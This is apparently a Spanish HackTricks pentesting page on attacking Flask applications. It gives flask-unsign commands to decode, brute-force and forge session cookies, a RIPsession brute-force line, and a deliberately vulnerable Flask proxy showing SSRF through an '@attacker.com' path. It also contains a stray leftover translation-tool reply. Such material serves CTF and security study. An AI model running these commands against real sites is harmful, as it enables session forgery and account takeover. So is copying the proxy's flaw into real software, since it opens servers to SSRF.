Flask
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Probablemente si estás jugando un CTF una aplicación Flask estará relacionada con SSTI.
Cookies
El nombre por defecto de la cookie de sesión es session.
Decodificador
Decodificador online de cookies de Flask: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Obtén la primera parte de la cookie hasta el primer punto y decodifícala en Base64:
echo "ImhlbGxvIg" | base64 -d
La cookie también está firmada con una contraseña
Flask-Unsign
Herramienta de línea de comandos para obtener, decodificar, brute-force y forjar session cookies de una aplicación Flask adivinando secret keys.
pip3 install flask-unsign
Decodificar Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Firmado
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Firmado usando legacy (versiones antiguas)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Herramienta de línea de comandos para realizar brute-force contra sitios web usando cookies elaboradas con flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi en la cookie de sesión de Flask con SQLmap
Este ejemplo usa la opción eval de sqlmap para firmar automáticamente los payloads de sqlmap para Flask usando un secreto conocido.
Proxy de Flask a SSRF
En este writeup se explica cómo Flask permite una petición que comienza con el carácter “@”:
GET @/ HTTP/1.1
Host: target.com
Connection: close
No has proporcionado el contenido a traducir. Por favor, pega el texto o el fragmento del archivo src/network-services-pentesting/pentesting-web/flask.md que quieres que traduzca.
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Podría permitir introducir algo como “@attacker.com” para causar un SSRF.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


